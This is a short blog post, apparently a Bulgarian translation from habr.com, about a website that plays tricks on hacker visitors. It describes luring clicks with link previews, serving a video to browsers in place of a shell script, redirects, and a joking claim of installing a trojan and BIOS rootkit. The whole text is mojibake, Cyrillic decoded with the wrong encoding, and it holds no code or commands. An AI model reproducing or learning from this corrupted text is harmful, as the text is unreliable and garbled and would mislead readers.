Π’ΡΠΉ ΠΊΠ°ΡΠΎ ΠΏΠΎΠ΄Π°Π²Π»ΡΠ²Π°ΡΠΎΡΠΎ ΠΌΠ½ΠΎΠ·ΠΈΠ½ΡΡΠ²ΠΎ ΠΎΡ ΠΌΠΎΠΈΡΠ΅ Π°Π±ΠΎΠ½Π°ΡΠΈ ΡΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΎΠ½Π½ΠΈ ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ/HΠ°ΠΊΠ΅ΡΠΈ, ΡΠ΅ΡΠΈΡ Π΄Π° Π½Π°ΠΏΡΠ°Π²Ρ ΡΠ΅Π± ΡΡΡΠ²ΡΡΠ° ΠΌΠ°Π»ΠΊΠΎ ΠΏΠΎ-ΡΡΡΠΎΠΉΡΠΈΠ² Π½Π° ΠΏΡΠΎΡΠ²ΠΈΡΠ΅ Π½Π° βΠΈΠ½ΡΠ΅ΡΠ΅Ρβ ΠΎΡ ΡΡΡ Π½Π° ΡΡΡΠ°Π½Π° ΠΏΡΠΎΡΡΠΎ, Π·Π° Π΄Π° ΠΈΠΌ Π±ΡΠ΄Π΅ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ (ΠΈ Π½Π°ΡΡΡΠΎΠΉΠΊΠ°ΡΠ° ΠΌΡ Π±Π΅ΡΠ΅ Π·Π°Π±Π°Π²Π½Π°). ΠΡΠΌΠ° Π΄Π° ΠΈΠ·Π±ΡΠΎΡΠ²Π°ΠΌ Π²ΡΠΈΡΠΊΠΈ ΠΊΠ°ΠΏΠ°Π½ΠΈ, ΡΡΠΉ ΠΊΠ°ΡΠΎ Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΡΡ Π²ΡΠ΅ ΠΎΡΠ΅ ΠΏΡΠΎΠ΄ΡΠ»ΠΆΠ°Π²Π°, Π½ΠΎ Π΅ΡΠΎ Π½ΡΠΊΠΎΠ»ΠΊΠΎ Π½Π΅ΡΠ°, ΠΊΠΎΠΈΡΠΎ ΡΡΡΠ²ΡΡΡΡ ΠΏΡΠ°Π²ΠΈ:
- ΠΠΊΡΠΈΠ²Π½ΠΎ ΡΠ»Π΅Π΄ΠΈ ΠΎΠΏΠΈΡΠΈΡΠ΅ Π·Π° ΡΠ°Π·ΠΏΡΠΎΡΡΡΠ°Π½Π΅Π½ΠΈΠ΅ Π² ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈ ΡΠΎΡΠΈΠ°Π»Π½ΠΈ ΠΌΡΠ΅ΠΆΠΈ ΠΈ ΠΏΠΎΡΡΠ°Π²Ρ ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ ΠΌΠΈΠ½ΠΈΠ°ΡΡΡΠΈ Π·Π° ΠΏΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»Π΅Π½ ΠΏΡΠ΅Π³Π»Π΅Π΄, Π·Π° Π΄Π° ΠΏΠΎΠ΄ΡΠΈΠΊΠ½Π΅ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ Π΄Π° ΠΊΠ»ΠΈΠΊΠ½Π΅ Π²ΡΡΡ Ρ Π²ΡΡΠ·ΠΊΠ°ΡΠ°.
- ΠΡΠ΅Π½Π°ΡΠΎΡΠ²Π° Chrome/Mozilla/Safari ΠΈ Ρ.Π½. ΠΊΡΠΌ ΠΏΡΠΎΠΌΠΎ Π²ΠΈΠ΄Π΅ΠΎΡΠΎ Π½Π° Thugcrowd Π²ΠΌΠ΅ΡΡΠΎ Π΄Π° ΠΏΠΎΠΊΠ°Π·Π²Π° ΡΠΊΡΠΈΠΏΡΠ° Π½Π° shell.
- Π‘Π»Π΅Π΄ΠΈ Π·Π° Π―Π‘ΠΠ ΠΏΡΠΈΠ·Π½Π°ΡΠΈ Π½Π° Π²Π»ΠΈΠ·Π°Π½Π΅/Π³ΡΡΠ±Π° Π½Π°ΠΌΠ΅ΡΠ°, ΡΠ»Π΅Π΄ ΠΊΠΎΠ΅ΡΠΎ Π·Π°ΠΏΠΎΡΠ²Π° Π΄Π° ΠΏΡΠ΅Π½Π°ΡΠΎΡΠ²Π° Π·Π°ΠΏΠΈΡΠ²Π°Π½ΠΈΡΡΠ° ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠΈΡΠ΅ Π½Π° ΠΠΠ (Ρ Π°!).
- ΠΠ½ΡΡΠ°Π»ΠΈΡΠ° ΡΡΠΎΡΠ½, ΠΊΠ°ΠΊΡΠΎ ΠΈ BIOS rootkit Π½Π° Π²ΡΠΈΡΠΊΠΈ ΠΊΠΎΠΌΠΏΡΡΡΠΈ, ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ Π½Π° ΠΊΠΎΠΈΡΠΎ ΠΏΠΎΡΠ΅ΡΠ°Π²Π°Ρ Ρ ΠΎΡΡΠ° ΠΎΡ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ Π±ΡΠ°ΡΠ·ΡΡ (ΡΠ΅Π³Π°!).

ΠΠ°Π»ΠΊΠ° ΡΠ°ΡΡ ΠΎΡ Π°Π½ΡΠΈΠΌΠ΅Ρ
Π ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ Π΅Π΄ΠΈΠ½ΡΡΠ²Π΅Π½Π°ΡΠ° ΠΌΠΈ ΡΠ΅Π» Π±Π΅ΡΠ΅ Π΄Π° ΡΡΡΠ²ΡΡΡΠ΅Π½ΡΡΠ²Π°ΠΌ Π½ΡΠΊΠΎΠΈ ΡΡΠ½ΠΊΡΠΈΠΈ Π½Π° Apache β ΠΏΠΎ-ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ Ρ ΡΠ±Π°Π²ΠΈΡΠ΅ ΠΏΡΠ°Π²ΠΈΠ»Π° Π·Π° ΠΏΡΠ΅Π½Π°ΡΠΎΡΠ²Π°Π½Π΅ Π½Π° Π·Π°ΠΏΠΈΡΠ²Π°Π½ΠΈΡ β ΠΈ ΡΠΈ ΠΏΠΎΠΌΠΈΡΠ»ΠΈΡ : Π·Π°ΡΠΎ Π½Π΅?
ΠΠΊΡΠΏΠ»ΠΎΠΉΡ Π½Π° NGINX (ΠΈΡΡΠΈΠ½ΡΠΊΠΈ!)
Π‘Π»Π΅Π΄Π²Π°ΠΉΡΠ΅ Π² Twitter ΠΈ Π½Π°Π±Π»ΡΠ΄Π°Π²Π°ΠΉΡΠ΅ Π·Π° Π²ΠΏΠ΅ΡΠ°ΡΠ»ΡΠ²Π°ΡΠ°ΡΠ° ΡΠ°Π±ΠΎΡΠ° Π½Π° ZDI ΠΏΠΎ ΠΎΡΡΡΡΠ°Π½ΡΠ²Π°Π½Π΅ΡΠΎ Π½Π° ΡΠ΅Π°Π»Π½ΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΈ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈ Π·Π° Π΅ΠΊΡΠΏΠ»ΠΎΡΡΠΈΡ Π² NGINX. Π Π°Π±ΠΎΡΠ°ΡΠ° ΠΈΠΌ Π²ΠΈΠ½Π°Π³ΠΈ ΠΌΠ΅ Π΅ Π²ΠΏΠ΅ΡΠ°ΡΠ»ΡΠ²Π°Π»Π° ΠΈ ΡΡΠΌ Π±Π»Π°Π³ΠΎΠ΄Π°ΡΠ΅Π½ Π½Π° ΠΠ»ΠΈΡΠ° Π·Π° ΡΡΡΠΏΠ΅Π½ΠΈΠ΅ΡΠΎ, ΡΠ²ΡΡΠ·Π°Π½ΠΎ Ρ Π²ΡΠΈΡΠΊΠΈ ΡΠΏΠΎΠΌΠ΅Π½Π°Π²Π°Π½ΠΈΡ ΠΈ ΡΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΡ, ΠΏΡΠ΅Π΄ΠΈΠ·Π²ΠΈΠΊΠ°Π½ΠΈ ΠΎΡ ΠΌΠΎΡ Π³Π»ΡΠΏΠ°Π² ΡΡΠΈΡ. ΠΠ° ΡΠ°ΡΡΠΈΠ΅, ΡΠΎΠΉ Π΄ΠΎΠ½Π΅ΡΠ΅ ΠΈ Π½ΡΠΊΠΎΠΈ ΠΏΠΎΠ»Π·ΠΈ: ΠΏΠΎΠΌΠΎΠ³Π½Π° Π΄Π° ΡΠ΅ ΠΏΠΎΠ²ΠΈΡΠΈ ΠΎΡΠ²Π΅Π΄ΠΎΠΌΠ΅Π½ΠΎΡΡΡΠ° Π·Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈΡΠ΅ Π½Π° NGINX ΠΈ Π·Π° ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΈΡΠ΅, ΠΏΡΠΈΡΠΈΠ½Π΅Π½ΠΈ ΠΎΡ Π·Π»ΠΎΡΠΏΠΎΡΡΠ΅Π±Π° Ρ curl.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: habr.com
